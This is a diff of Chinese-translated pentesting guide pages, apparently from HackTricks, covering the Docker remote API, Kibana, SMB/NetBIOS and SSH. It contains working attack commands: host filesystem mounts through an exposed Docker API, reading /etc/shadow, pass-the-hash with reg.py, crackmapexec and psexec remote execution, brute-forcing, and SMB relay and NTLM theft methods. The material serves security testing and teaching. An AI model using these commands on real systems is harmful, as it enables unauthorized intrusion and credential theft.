- **container-shim** 在处理 **无头容器** 时扮演着关键角色,顺利接管 **runc** 在容器初始化后的工作。
- [**runc**](http://runc.io): 以其 **轻量级和通用容器运行时** 能力而闻名runc **OCI 标准** 一致。它被 containerd 用于根据 **OCI 指南** **启动和管理容器**,并从最初的 **libcontainer** 发展而来。
- [**runc**](http://runc.io): 以其 **轻量级和通用容器运行时** 能力而闻名runc 符合 **OCI 标准**。它被 containerd 用于根据 **OCI 指南** **启动和管理容器**,并从最初的 **libcontainer** 发展而来。
- [**grpc**](http://www.grpc.io) 对于 **促进 containerd 和 docker-engine 之间的通信** 至关重要,确保 **高效交互**
- [**OCI**](https://www.opencontainers.org) 在维护 **运行时和镜像的 OCI 规范** 中发挥着关键作用,最新的 Docker 版本 **符合 OCI 镜像和运行时** 标准。
@ -43,9 +43,9 @@ docker system prune -a
**Containerd** 是专门为满足 **Docker 和 Kubernetes** 等容器平台的需求而开发的。它旨在通过抽象操作系统特定的功能和系统调用,**简化在各种操作系统上执行容器** 的过程,包括 Linux、Windows、Solaris 等。Containerd 的目标是仅包含用户所需的基本功能,努力省略不必要的组件。然而,完全实现这一目标被认为是具有挑战性的。
一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素,具有软件定义网络 (SDN) 和服务发现等复杂性这些在不同平台之间差异显著。因此Containerd 将网络方面的管理留给它所支持的平台。
一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素,具有软件定义网络 (SDN) 和服务发现等复杂性,这些复杂性在不同平台之间差异显著。因此Containerd 将网络方面的管理留给它所支持的平台。
虽然 **Docker 利用 Containerd** 来运行容器,但重要的是要注意 Containerd 仅支持 Docker 功能的一个子集。具体来说Containerd 缺乏 Docker 中存在的网络管理能力,并且不支持直接创建 Docker swarm。这一区别突显了 Containerd 作为容器运行时环境的专注角色,将更专业的功能委托给它所集成的平台。
虽然 **Docker 利用 Containerd** 来运行容器,但重要的是要注意 Containerd 仅支持 Docker 功能的一个子集。具体而言Containerd 缺乏 Docker 中存在的网络管理能力,并且不支持直接创建 Docker swarm。这一区别突显了 Containerd 作为容器运行时环境的专注角色,将更专业的功能委托给它所集成的平台。
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -63,15 +63,15 @@ ctr container delete <containerName>
```
#### Podman
**Podman** 是一个开源容器引擎,遵循 [Open Container Initiative (OCI) standards](https://github.com/opencontainers),由 Red Hat 开发和维护。它与 Docker 的不同之处在于几个独特的特性,特别是它的 **无守护进程架构** 和对 **无根容器** 的支持,使用户能够在没有根权限的情况下运行容器。
**Podman** 是一个开源容器引擎,遵循 [Open Container Initiative (OCI) standards](https://github.com/opencontainers),由 Red Hat 开发和维护。它与 Docker 的不同之处在于几个独特的特性,特别是 **无守护进程架构** 和对 **无根容器** 的支持,使用户能够在没有根权限的情况下运行容器。
Podman 旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性扩展到其生态系统,包括用于构建容器镜像的工具 **Buildah** 和用于图像操作(如推送、拉取和检查)的 **Skopeo**。有关这些工具的更多详细信息,请参见它们的 [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools)。
**主要区别**
- **架构**:与 Docker 的客户端-服务器模型后台守护进程不同Podman 在没有守护进程的情况下运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对根访问的需求来增强安全性。
- **架构**:与 Docker 的客户端-服务器模型及其后台守护进程不同Podman 在没有守护进程的情况下运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对根访问的需求来增强安全性。
- **Systemd 集成**Podman 与 **systemd** 集成以管理容器,允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护进程的 systemd 使用形成对比。
- **无根容器**Podman 的一个关键特性是能够在发起用户的权限下运行容器。这种方法通过确保攻击者仅获得被攻陷用户的权限,而不是根访问,来最小化与容器漏洞相关的风险。
- **无根容器**Podman 的一个关键特性是能够在发起用户的权限下运行容器。这种方法通过确保攻击者仅获得受损用户的权限,而不是根访问,来最小化与容器漏洞相关的风险。
Podman 的方法提供了一个安全且灵活的 Docker 替代方案,强调用户权限管理和与现有 Docker 工作流的兼容性。
@ -87,7 +87,7 @@ Podman 的方法提供了一个安全且灵活的 Docker 替代方案,强调
### 基本信息
当启用时,远程 API 默认在 2375 端口运行。该服务默认不需要身份验证,允许攻击者启动特权 docker 容器。通过使用远程 API可以将主机 /(根目录)附加到容器并读取/写入主机环境的文件。
远程 API 默认在启用时运行于 2375 端口。该服务默认不需要身份验证,允许攻击者启动一个特权 docker 容器。通过使用远程 API可以将主机 /(根目录)附加到容器并读取/写入主机环境的文件。
**默认端口:** 2375
```
@ -134,7 +134,7 @@ docker-init:
Version: 0.18.0
GitCommit: fec3683
```
如果您可以 **使用 `docker` 命令联系远程 docker API**,您可以 **执行** 任何 **之前评论过的** **docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。
如果您可以 **使用 `docker` 命令联系远程 docker API**,您可以 **执行** 任何之前评论过的 **docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。
> [!NOTE]
> 您可以 `export DOCKER_HOST="tcp://localhost:2375"`**避免** 在 docker 命令中使用 `-H` 参数
@ -145,7 +145,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
有时你会看到 **2376****TLS** 端点上运行。我无法通过 docker 客户端连接到它,但可以使用 curl 进行连接。
有时你会看到 **2376****TLS** 端点上。我无法通过 docker 客户端连接到它,但可以使用 curl 进行连接。
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
@ -184,7 +184,7 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
```
### 破坏
在以下页面中,您可以找到**从docker容器中逃脱**的方法:
在以下页面中,您可以找到**从 Docker 容器中逃脱**的方法:
{{#ref}}
../linux-hardening/privilege-escalation/docker-security/
@ -199,7 +199,7 @@ cat /mnt/etc/shadow
### 权限提升
如果您在使用 docker 的主机内部,您可以 [**阅读此信息以尝试提升权限**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
如果您在使用 docker 的主机内部,您可以 [**阅读此信息以尝试提升权限**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket)。
### 在运行的 Docker 容器中发现秘密
```bash
@ -262,7 +262,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### Logging Suspicious activity
- 您可以使用工具 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) 来检测 **正在运行的容器中的可疑行为**
- 请注意以下部分 **Falco 编译内核模块并插入它**。之后,它加载规则并 **开始记录可疑活动**。在这种情况下,它检测到启动了 2 个特权容器,其中 1 个具有敏感挂载,并且在几秒钟后检测到在其中一个容器内打开了一个 shell。
- 请注意以下代码块中 **Falco 编译内核模块并插入它**。之后,它加载规则并 **开始记录可疑活动**。在这种情况下,它检测到启动了 2 个特权容器,其中 1 个具有敏感挂载,并且在几秒钟后检测到在其中一个容器内打开了一个 shell。
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host

View File

@ -6,7 +6,7 @@ Kibana 以其在 Elasticsearch 中搜索和可视化数据的能力而闻名,
## 理解认证
Kibana 中的认证过程与 **Elasticsearch 中使用的凭据** 密切相关。如果 Elasticsearch 禁用了认证,则可以在没有任何凭据的情况下访问 Kibana。相反如果 Elasticsearch 使用凭据进行保护,则访问 Kibana 也需要相同的凭据,从而在两个平台上保持相同的用户权限。凭据可能位于 **/etc/kibana/kibana.yml** 文件中。如果这些凭据与 **kibana_system** 用户无关,它们可能提供更广泛的访问权限,因为 kibana_system 用户的访问仅限于监控 API 和 .kibana 索引。
Kibana 中的认证过程与 **Elasticsearch 中使用的凭据** 密切相关。如果 Elasticsearch 禁用了认证,则可以在没有任何凭据的情况下访问 Kibana。相反如果 Elasticsearch 使用凭据进行保护,则访问 Kibana 也需要相同的凭据,从而在两个平台上保持相同的用户权限。凭据可能**/etc/kibana/kibana.yml** 文件中找到。如果这些凭据不属于 **kibana_system** 用户,则可能提供更广泛的访问权限,因为 kibana_system 用户的访问仅限于监控 API 和 .kibana 索引。
## 访问后的操作
@ -14,7 +14,7 @@ Kibana 中的认证过程与 **Elasticsearch 中使用的凭据** 密切相关
- 优先探索来自 Elasticsearch 的数据。
- 管理用户的能力,包括编辑、删除或创建新用户、角色或 API 密钥,可以在 Stack Management -> Users/Roles/API Keys 下找到。
- 检查已安装的 Kibana 版本是否存在已知漏洞,例如在 6.6.0 之前版本中发现的 RCE 漏洞 ([More Info](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2))。
- 检查已安装的 Kibana 版本是否存在已知漏洞,例如在 6.6.0 之前版本中发现的 RCE 漏洞 ([更多信息](https://insinuator.net/2021/01/pentesting-the-elk-stack/index.html#ref2))。
## SSL/TLS 考虑

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## **Port 139**
## **端口 139**
_**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并**促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
_**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并 **促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用 **TCP 端口 139**
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -12,15 +12,15 @@ _**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,
从技术上讲,端口 139 被称为“NBT over IP”而端口 445 被识别为“SMB over IP”。缩写 **SMB** 代表“**服务器消息块**”,现代也被称为 **通用互联网文件系统 (CIFS)**。作为一种应用层网络协议SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络中节点之间的各种形式的通信。
例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,从而消除通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。
例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,从而消除通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
**服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列SMB 确保向后兼容,使得运行较新版本微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。
**服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列SMB 确保向后兼容,使得运行较新版本微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。
共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使得客户端部分 **独立** 于服务器的实际结构可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使得客户端部分 **独立** 于服务器的实际结构可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
### IPC$ Share
@ -32,15 +32,15 @@ _**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,
- 可用 SMB 共享的信息
- 有效的系统安全策略
此功能对于网络管理员和安全专业人员评估网络上 SMB (服务器消息块) 服务的安全态势至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞和确保 SMB 服务得到适当保护至关重要。
此功能对于网络管理员和安全专业人员评估网络上 SMB (服务器消息块) 服务的安全态势至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞和确保 SMB 服务的适当安全至关重要。
```bash
enum4linux -a target_ip
```
上述命令是如何使用 `enum4linux` 对指定的 `target_ip` 进行完整枚举的示例。
上述命令是如何使用 `enum4linux` 对指定的 `target_ip` 进行全面枚举的示例。
## 什么是 NTLM
如果你不知道什么是 NTLM或者你想知道它是如何工作的以及如何利用它你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何利用它:**
如果你不知道什么是 NTLM或者你想知道它是如何工作的以及如何利用它你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何可以利用它:**
{{#ref}}
../../windows-hardening/ntlm/
@ -54,7 +54,7 @@ nbtscan -r 192.168.0.1/24
```
### SMB 服务器版本
要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未出现在其他使用的工具中,您可以:
要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未在其他使用的工具中出现,您可以:
- 使用 **MSF** 辅助模块 \_**auxiliary/scanner/smb/smb_version**
- 或者这个脚本:
@ -210,14 +210,14 @@ Windows 目标的常见共享名称包括
- SYSVOL
- NETLOGON
(来自 _**网络安全评估第 3 版**_ 的常见共享名称)
(来自 _**Network Security Assessment 3rd edition**_ 的常见共享名称)
您可以尝试使用以下命令连接到它们
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
或此脚本(使用空会话)
对于这个脚本(使用空会话)
```bash
#/bin/bash
@ -239,7 +239,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **从 Windows 枚举共享 / 无需第三方工具**
### **从Windows枚举共享/无需第三方工具**
PowerShell
```powershell
@ -294,58 +294,58 @@ smbclient //<IP>/<share>
- mask: 指定用于过滤目录中文件的掩码(例如,""表示所有文件)
- recurse: 切换递归开关(默认:关闭)
- prompt: 切换文件名提示开关(默认:开启)
- mget: 将与掩码匹配的所有文件从主机复制到客户端机器
- mget: 将所有匹配掩码的文件从主机复制到客户端机器
(_来自smbclient的手册信息_)
(_来自smbclient的手册_)
### 域共享文件夹搜索
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 爬虫
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 蜘蛛
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
特别有趣的共享文件是名为 **`Registry.xml`** 的文件,因为它们 **可能包含** 配置为通过组策略 **自动登录** 的用户的密码。或者 **`web.config`** 文件,因为它们包含凭据。
特别有趣的共享文件是名为 **`Registry.xml`** 的文件,因为它们 **可能包含** 配置**自动登录** 的用户的密码,此外 **`web.config`** 文件也包含凭据。
> [!NOTE]
> **SYSVOL 共享** 对域中的所有经过身份验证的用户 **可读**。在这里,您可能会 **找到** 许多不同的批处理、VBScript 和 PowerShell **脚本**。\
> 您应该 **检查** 其中的 **脚本**,因为您可能会 **发现** 敏感信息,例如 **密码**
> **SYSVOL 共享** 对域中的所有经过身份验证的用户 **可读**。在这里可能会 **找到** 许多不同的批处理、VBScript 和 PowerShell **脚本**。\
> 你应该 **检查** 里面的 **脚本**,因为你可能会 **发现** 敏感信息,例如 **密码**
## 读取注册表
可能能够使用一些发现的凭据 **读取注册表**。Impacket **`reg.py`** 允许尝试:
可能能够使用一些发现的凭据 **读取注册表**。Impacket **`reg.py`** 允许尝试:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## 后期利用
## Post Exploitation
**Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,可能包含一些 **危险配置**
| **设置** | **描述** |
| --------------------------- | --------------------------------------------------------------- |
| `browseable = yes` | 允许列出当前共享中的可用共享? |
| `read only = no` | 禁止创建和修改文件? |
| `writable = yes` | 允许用户创建和修改文件? |
| `guest ok = yes` | 允许在不使用密码的情况下连接到服务? |
| `enable privileges = yes` | 尊重分配给特定 SID 的权限? |
| `create mask = 0777` | 新创建的文件必须分配什么权限? |
| `directory mask = 0777` | 新创建的目录必须分配什么权限? |
| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
| `magic script = script.sh` | 脚本关闭时应执行哪个脚本? |
| `magic output = script.out` | 魔法脚本的输出需要存储在哪里? |
| `browseable = yes` | 允许列出当前共享中的可用共享? |
| `read only = no` | 禁止创建和修改文件? |
| `writable = yes` | 允许用户创建和修改文件? |
| `guest ok = yes` | 允许在不使用密码的情况下连接到服务? |
| `enable privileges = yes` | 尊重分配给特定 SID 的权限? |
| `create mask = 0777` | 新创建的文件必须分配什么权限? |
| `directory mask = 0777` | 新创建的目录必须分配什么权限? |
| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
| `magic script = script.sh` | 脚本关闭时应执行哪个脚本? |
| `magic output = script.out` | 魔法脚本的输出需要存储在哪里? |
命令 `smbstatus` 提供有关 **服务器****谁已连接** 的信息。
## 使用 Kerberos 进行身份验证
## Authenticate using Kerberos
您可以使用工具 **smbclient****rpcclient** 进行 **Kerberos** 身份验证:
您可以使用工具 **smbclient****rpcclient** 进行 **kerberos** 认证:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法 **执行** 命令,其中 **wmiexec****默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法执行命令,**wmiexec** 是 **默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
```bash
apt-get install crackmapexec
@ -379,7 +379,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
这两种选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它**执行某些操作****psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**-)。\
有关 [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) 和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) 的**更多信息**。\
有关 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)的**更多信息**。\
**kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -410,7 +410,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
通过任务调度程序执行命令(使用 _\pipe\atsvc_ 通过 SMB。\
**kali** 中位于 /usr/share/doc/python3-impacket/examples/
**kali**,它位于 /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -419,7 +419,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **暴力破解用户凭**
## **暴力破解用户凭**
**这不推荐,如果超过允许的最大尝试次数,您可能会锁定账户**
```bash
@ -429,7 +429,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## SMB 继电器攻击
此攻击使用 Responder 工具包来 **捕获内部网络上的 SMB 认证会话**,并将其 **中继****目标机器**。如果认证 **会话成功**,它将自动将您带入 **系统** **shell**。\
[**有关此攻击的更多信息。**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
[**有关此攻击的更多信息请点击这里。**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
@ -452,7 +452,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## NTLM 盗窃
与 SMB 捕获类似,将恶意文件植入目标系统(例如通过 SMB可以引发 SMB 认证尝试,从而允许使用 Responder 等工具拦截 NetNTLMv2 哈希。然后可以离线破解该哈希或在 [SMB 继电器攻击](./#smb-relay-attack) 中使用。
类似于 SMB 捕获,将恶意文件植入目标系统(例如通过 SMB可以引发 SMB 认证尝试,从而允许使用 Responder 等工具拦截 NetNTLMv2 哈希。然后可以离线破解该哈希或在 [SMB 继电器攻击](#smb-relay-attack) 中使用。
[查看: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

View File

@ -4,7 +4,7 @@
## 基本信息
**SSH (安全外壳或安全套接字外壳)** 是一种网络协议,允许通过不安全的网络与计算机建立安全连接。它对于在访问远程系统时维护数据的机密性和完整性至关重要。
**SSH (安全外壳或安全套接字外壳)** 是一种网络协议,能够在不安全的网络上与计算机建立安全连接。它对于在访问远程系统时维护数据的机密性和完整性至关重要。
**默认端口:** 22
```
@ -19,9 +19,9 @@
**SSH 库(实现服务器端):**
- [libssh](https://www.libssh.org) 多平台 C 库,实现 SSHv2 协议,支持 [Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/) 和 [R](https://github.com/ropensci/ssh) 的绑定;KDE 用于 sftpGitHub 用于 git SSH 基础设施
- [libssh](https://www.libssh.org) 多平台 C 库,实现 SSHv2 协议,支持 [Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/) 和 [R](https://github.com/ropensci/ssh) 的绑定KDE 用于 sftpGitHub 用于 git SSH 基础设施
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) 用 ANSI C 编写的 SSHv2 服务器库针对嵌入式、RTOS 和资源受限环境
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD Java 库基于 Apache MINA
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) 基于 Apache MINA 的 Apache SSHD Java 库
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2 协议库
## 枚举
@ -34,9 +34,9 @@ nc -vn <IP> 22
ssh-audit 是一个用于 ssh 服务器和客户端配置审计的工具。
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是一个来自 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) 的更新分支
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是一个来自 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) 的更新分支
**特点**
**功能**
- 支持 SSH1 和 SSH2 协议服务器;
- 分析 SSH 客户端配置;
@ -48,7 +48,7 @@ ssh-audit 是一个用于 ssh 服务器和客户端配置审计的工具。
- 根据算法信息分析 SSH 版本兼容性;
- 来自 OpenSSH、Dropbear SSH 和 libssh 的历史信息;
- 在 Linux 和 Windows 上运行;
- 无依赖
- 无依赖
```bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>
@ -69,7 +69,7 @@ use -t to change timeout)
(default: 5)
$ python3 ssh-audit <IP>
```
[查看实际操作 (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### 服务器的公共 SSH 密钥
```bash
@ -105,7 +105,7 @@ msf> use scanner/ssh/ssh_enumusers
### 私钥暴力破解
如果你知道一些可以使用的 ssh 私钥... 那我们就试试吧。你可以使用 nmap 脚本:
如果你知道一些可以使用的 ssh 私钥... 那就试试吧。你可以使用 nmap 脚本:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
@ -121,9 +121,9 @@ msf> use scanner/ssh/ssh_identify_pubkeys
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### 弱 SSH 密钥 / Debian 可预测 PRNG
#### 弱 SSH 密钥 / Debian 可预测 PRNG
某些系统在用于生成加密材料的随机种子存在已知缺陷。这可能导致密钥空间显著减少,从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到:[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
某些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间显著减少,从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到:[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
您应该在这里查找受害者机器的有效密钥。
@ -163,7 +163,7 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) 正是如上所述的功能。
为了捕获执行实际的 MitM您可以使用 ARP 欺骗、DNS 欺骗或在 [**网络欺骗攻击**](../generic-methodologies-and-resources/pentesting-network/#spoofing) 中描述的其他技术。
为了捕获执行实际的 MitM您可以使用 ARP 欺骗、DNS 欺骗或在 [**网络欺骗攻击**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) 中描述的其他技术。
## SSH-Snake
@ -172,9 +172,9 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
SSH-Snake 自动且递归地执行以下任务:
1. 在当前系统上,查找任何 SSH 私钥,
2. 在当前系统上,查找任何主机或目的地user@host),这些私钥可能被接受
3. 尝试使用所有发现的私钥 SSH 连接到所有目的地
4. 如果成功连接到某个目的地,则在连接的系统上重复步骤 #1 - #4
2. 在当前系统上,查找任何可能接受私钥的主机或目标user@host
3. 尝试使用所有发现的私钥 SSH 连接到所有目
4. 如果成功连接到某个目,则在连接的系统上重复步骤 #1 - #4
它是完全自我复制和自我传播的——并且完全无文件。
@ -222,7 +222,7 @@ debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
```
以下是用户 `noraj` 的安全 SFTP 配置示例 (`/etc/ssh/sshd_config` openSSH)
以下是用户 `noraj` 的安全 SFTP 配置示例`/etc/ssh/sshd_config` openSSH
```
Match User noraj
ChrootDirectory %h
@ -234,7 +234,7 @@ PermitTTY no
```
此配置将仅允许 SFTP通过强制启动命令并禁用 TTY 访问来禁用 shell 访问,同时还禁用所有类型的端口转发或隧道。
### SFTP 隧道
### SFTP Tunneling
如果您可以访问 SFTP 服务器,您还可以通过此方式隧道您的流量,例如使用常见的端口转发:
```bash
@ -242,9 +242,9 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
**sftp** 有命令 "**symlink**"。因此,如果您在某个文件夹中具有 **可写权限**,您可以创建 **其他文件夹/文件****symlinks**。由于您可能被 **困在** chroot 中,这对您来说 **不会特别有用**,但是,如果您可以从 **非 chroot** **服务** 访问创建的 **symlink**(例如,如果您可以从网络访问 symlink您可以 **通过网络打开 symlinked 文件**
